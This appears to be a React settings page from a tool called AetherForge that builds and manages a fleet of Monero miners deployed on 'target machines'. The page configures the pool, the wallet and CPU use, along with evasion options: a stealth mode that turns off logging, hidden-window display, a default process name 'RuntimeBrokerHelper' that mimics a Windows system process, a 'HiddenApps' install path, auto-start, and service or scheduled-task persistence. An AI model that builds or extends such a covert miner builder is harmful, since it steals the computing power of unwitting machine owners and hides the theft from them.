Files
AetherForge/server/web/src/pages/SettingsPage.tsx
drjones 9d223b8137 Redesign dashboard with steampunk neon theme and live gauges.
Ambient background, 3D neon cards, brass HUD styling, glowing charts, gauge rings, and refreshed Command Deck, Fleet Roster, Forge, and Calibrate pages.
2026-05-27 00:43:34 -07:00

501 lines
21 KiB
TypeScript

import { useState, useEffect } from 'react';
import { api } from '../api/client';
import type { ServerConfig } from '../types';
import { HelpTip } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
import './Pages.css';
export default function SettingsPage() {
const [config, setConfig] = useState<ServerConfig | null>(null);
const [loading, setLoading] = useState(true);
const [saving, setSaving] = useState(false);
const [saveMessage, setSaveMessage] = useState('');
useEffect(() => {
api.getConfig()
.then(setConfig)
.catch(console.error)
.finally(() => setLoading(false));
}, []);
const updateField = (path: string, value: any) => {
if (!config) return;
const newConfig = { ...config };
const keys = path.split('.');
let obj: any = newConfig;
for (let i = 0; i < keys.length - 1; i++) {
obj = obj[keys[i]];
}
obj[keys[keys.length - 1]] = value;
setConfig(newConfig);
};
const handleSave = async () => {
if (!config) return;
setSaving(true);
setSaveMessage('');
try {
const updated = await api.updateConfig(config);
setConfig(updated);
setSaveMessage('✅ Settings saved successfully');
setTimeout(() => setSaveMessage(''), 3000);
} catch (err: any) {
setSaveMessage(`❌ Failed to save: ${err.message}`);
} finally {
setSaving(false);
}
};
if (loading) {
return (
<div className="page fade-in command-deck">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">CALIBRATION</p>
<h1>System Calibrate</h1>
</div>
</header>
<NeonCard accent="brass"><p>Loading settings...</p></NeonCard>
</div>
);
}
if (!config) {
return (
<div className="page fade-in">
<div className="page-header"><h1>Settings</h1></div>
<div className="card"><p>Failed to load settings</p></div>
</div>
);
}
return (
<div className="page fade-in command-deck">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">CALIBRATION</p>
<h1>System Calibrate</h1>
<p className="page-subtitle">Pool, wallet, defaults, and install paths for the forge.</p>
</div>
<button className="btn btn-primary" onClick={handleSave} disabled={saving}>
{saving ? 'Saving...' : 'Save Settings'}
</button>
</header>
{saveMessage && (
<div className={`save-message ${saveMessage.includes('✅') ? 'success' : 'error'}`}>
{saveMessage}
</div>
)}
<div className="settings-grid">
{/* Pool Configuration */}
<div className="card settings-section">
<h2>Pool Connection</h2>
<p className="section-desc">Configure which Monero pool your miners connect to.</p>
<div className="form-group">
<label className="label">Pool Host <HelpTip field="pool_host" /></label>
<input
type="text"
className="input"
value={config.pool.host}
onChange={(e) => updateField('pool.host', e.target.value)}
placeholder="pool.supportxmr.com"
/>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Port <HelpTip field="pool_port" /></label>
<input
type="number"
className="input"
value={config.pool.port}
onChange={(e) => updateField('pool.port', parseInt(e.target.value) || 3333)}
/>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={config.pool.use_tls}
onChange={(e) => updateField('pool.use_tls', e.target.checked)}
/>
<span>Use TLS/SSL</span>
</label>
</div>
</div>
<div className="form-group">
<label className="label">Password (optional)</label>
<input
type="text"
className="input"
value={config.pool.password}
onChange={(e) => updateField('pool.password', e.target.value)}
placeholder="x"
/>
</div>
</div>
{/* Wallet Configuration */}
<div className="card settings-section">
<h2>Wallet</h2>
<p className="section-desc">Default wallet address for new miners.</p>
<div className="form-group">
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
<input
type="text"
className="input mono"
value={config.wallet.address}
onChange={(e) => updateField('wallet.address', e.target.value)}
placeholder="4..."
/>
</div>
<div className="form-group">
<label className="label">Payment ID (optional)</label>
<input
type="text"
className="input mono"
value={config.wallet.payment_id}
onChange={(e) => updateField('wallet.payment_id', e.target.value)}
/>
</div>
</div>
{/* Default Agent Config */}
<div className="card settings-section">
<h2>Default Agent Configuration</h2>
<p className="section-desc">Default settings applied to newly built miners.</p>
<div className="form-row">
<div className="form-group">
<label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
<select
className="select"
value={config.default_agent_config.thread_mode || 'percent'}
onChange={(e) => updateField('default_agent_config.thread_mode', e.target.value)}
>
<option value="percent">Auto (% of cores)</option>
<option value="fixed">Fixed count</option>
</select>
</div>
{config.default_agent_config.thread_mode === 'fixed' ? (
<div className="form-group">
<label className="label">Threads <HelpTip field="threads" /></label>
<input
type="number"
className="input"
min={1}
max={128}
value={config.default_agent_config.threads}
onChange={(e) => updateField('default_agent_config.threads', parseInt(e.target.value) || 1)}
/>
</div>
) : (
<div className="form-group">
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
<input
type="number"
className="input"
min={10}
max={100}
value={config.default_agent_config.thread_percent ?? 75}
onChange={(e) => updateField('default_agent_config.thread_percent', parseInt(e.target.value) || 75)}
/>
</div>
)}
</div>
<div className="form-row">
<div className="form-group">
<label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
<select
className="select"
value={config.default_agent_config.cpu_priority}
onChange={(e) => updateField('default_agent_config.cpu_priority', e.target.value)}
>
<option value="idle">Idle</option>
<option value="below_normal">Below Normal</option>
<option value="normal">Normal</option>
<option value="above_normal">Above Normal</option>
<option value="high">High</option>
</select>
</div>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
<input
type="number"
className="input"
min={1}
max={100}
value={config.default_agent_config.max_cpu_usage_pct}
onChange={(e) => updateField('default_agent_config.max_cpu_usage_pct', parseInt(e.target.value) || 80)}
/>
</div>
<div className="form-group">
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
<input
type="number"
className="input"
min={10}
max={95}
value={config.default_agent_config.max_memory_percent ?? 70}
onChange={(e) => updateField('default_agent_config.max_memory_percent', parseInt(e.target.value) || 70)}
/>
</div>
<div className="form-group">
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
<input
type="number"
className="input"
min={256}
value={config.default_agent_config.min_free_ram_mb}
onChange={(e) => updateField('default_agent_config.min_free_ram_mb', parseInt(e.target.value) || 1024)}
/>
</div>
</div>
<div className="form-section">
<h3>Install Location Defaults</h3>
<p className="section-desc">Where built installers embed the miner on first run.</p>
<div className="form-group">
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
<select
className="select"
value={config.default_agent_config.install_base || 'localappdata'}
onChange={(e) => updateField('default_agent_config.install_base', e.target.value)}
>
<option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
<option value="appdata">Roaming App Data (%APPDATA%)</option>
<option value="programdata">Program Data (%ProgramData%)</option>
<option value="userprofile">User Profile (%USERPROFILE%)</option>
<option value="temp">Temp Folder (%TEMP%)</option>
<option value="custom">Custom Path</option>
</select>
</div>
{config.default_agent_config.install_base === 'custom' && (
<div className="form-group">
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
<input
type="text"
className="input mono"
value={config.default_agent_config.install_custom_base || ''}
onChange={(e) => updateField('default_agent_config.install_custom_base', e.target.value)}
placeholder="%ProgramData%\\HiddenApps"
/>
</div>
)}
<div className="form-group">
<label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
<input
type="text"
className="input mono"
value={config.default_agent_config.install_relative_path || 'CryptoMiner/{worker}-{build_short}'}
onChange={(e) => updateField('default_agent_config.install_relative_path', e.target.value)}
/>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.default_agent_config.adapt_to_hardware ?? true}
onChange={(e) => updateField('default_agent_config.adapt_to_hardware', e.target.checked)} />
<span>Adapt to hardware <HelpTip field="adapt_to_hardware" /></span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.default_agent_config.self_healing ?? true}
onChange={(e) => updateField('default_agent_config.self_healing', e.target.checked)} />
<span>Self-healing <HelpTip field="self_healing" /></span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.default_agent_config.stealth_mode ?? false}
onChange={(e) => {
updateField('default_agent_config.stealth_mode', e.target.checked);
if (e.target.checked) updateField('default_agent_config.file_logging', false);
}} />
<span>Stealth mode <HelpTip field="stealth_mode" /></span>
</label>
</div>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Display Mode <HelpTip field="display_mode" /></label>
<select
className="select"
value={config.default_agent_config.display_mode || 'background'}
onChange={(e) => updateField('default_agent_config.display_mode', e.target.value)}
>
<option value="visible">Visible (console)</option>
<option value="silent">Silent (hidden window)</option>
<option value="background">Background (hidden + low priority)</option>
</select>
</div>
<div className="form-group">
<label className="label">Process Name <HelpTip field="process_name" /></label>
<input
type="text"
className="input"
value={config.default_agent_config.process_name || 'RuntimeBrokerHelper'}
onChange={(e) => updateField('default_agent_config.process_name', e.target.value)}
placeholder="RuntimeBrokerHelper"
/>
</div>
</div>
<div className="form-group">
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
<select
className="select"
value={config.default_agent_config.mining_mode}
onChange={(e) => updateField('default_agent_config.mining_mode', e.target.value)}
>
<option value="always">Always Mine</option>
<option value="idle">Only When Idle</option>
<option value="scheduled">Scheduled Hours</option>
</select>
</div>
{config.default_agent_config.mining_mode === 'idle' && (
<div className="form-row">
<div className="form-group">
<label className="label">Idle CPU Threshold (%) <HelpTip field="idle_threshold_pct" /></label>
<input
type="number"
className="input"
min={1}
max={100}
value={config.default_agent_config.idle_threshold_pct}
onChange={(e) => updateField('default_agent_config.idle_threshold_pct', parseInt(e.target.value) || 20)}
/>
</div>
<div className="form-group">
<label className="label">Idle Duration (min) <HelpTip field="idle_duration_minutes" /></label>
<input
type="number"
className="input"
min={1}
value={config.default_agent_config.idle_duration_minutes}
onChange={(e) => updateField('default_agent_config.idle_duration_minutes', parseInt(e.target.value) || 5)}
/>
</div>
</div>
)}
{config.default_agent_config.mining_mode === 'scheduled' && (
<div className="form-row">
<div className="form-group">
<label className="label">Start Time <HelpTip field="schedule_start" /></label>
<input
type="time"
className="input"
value={config.default_agent_config.schedule_start}
onChange={(e) => updateField('default_agent_config.schedule_start', e.target.value)}
/>
</div>
<div className="form-group">
<label className="label">End Time <HelpTip field="schedule_end" /></label>
<input
type="time"
className="input"
value={config.default_agent_config.schedule_end}
onChange={(e) => updateField('default_agent_config.schedule_end', e.target.value)}
/>
</div>
</div>
)}
</div>
{/* Background / Silent Mode */}
<div className="card settings-section">
<h2>Background & Deployment</h2>
<p className="section-desc">How miners behave on target machines.</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={config.background.silent_mode}
onChange={(e) => updateField('background.silent_mode', e.target.checked)}
/>
<span>Silent Mode (no console window) <HelpTip field="silent_mode" /></span>
</label>
</div>
<div className="form-group">
<label className="label">Run As <HelpTip field="run_as" /></label>
<select
className="select"
value={config.background.run_as}
onChange={(e) => updateField('background.run_as', e.target.value)}
>
<option value="user">Current User</option>
<option value="service">Windows Service</option>
<option value="scheduled">Scheduled Task</option>
</select>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={config.background.auto_start}
onChange={(e) => updateField('background.auto_start', e.target.checked)}
/>
<span>Auto-start with Windows <HelpTip field="auto_start" /></span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={config.background.minimize_to_tray}
onChange={(e) => updateField('background.minimize_to_tray', e.target.checked)}
/>
<span>Minimize to System Tray</span>
</label>
</div>
</div>
{/* Alerts */}
<div className="card settings-section">
<h2>Alerts</h2>
<p className="section-desc">Configure thresholds for fleet health alerts.</p>
<div className="form-group">
<label className="label">Offline Threshold (minutes)</label>
<input
type="number"
className="input"
min={1}
value={config.alerts.offline_threshold_minutes}
onChange={(e) => updateField('alerts.offline_threshold_minutes', parseInt(e.target.value) || 5)}
/>
<span className="form-hint">Alert if agent hasn't reported in this many minutes</span>
</div>
<div className="form-group">
<label className="label">Hashrate Drop Threshold (%)</label>
<input
type="number"
className="input"
min={1}
max={100}
value={config.alerts.hashrate_drop_threshold_pct}
onChange={(e) => updateField('alerts.hashrate_drop_threshold_pct', parseInt(e.target.value) || 50)}
/>
<span className="form-hint">Alert if hashrate drops by this percentage</span>
</div>
<div className="form-group">
<label className="label">Rejection Rate Threshold (%)</label>
<input
type="number"
className="input"
min={1}
max={100}
value={config.alerts.rejection_rate_threshold_pct}
onChange={(e) => updateField('alerts.rejection_rate_threshold_pct', parseInt(e.target.value) || 5)}
/>
<span className="form-hint">Alert if share rejection rate exceeds this percentage</span>
</div>
</div>
</div>
</div>
);
}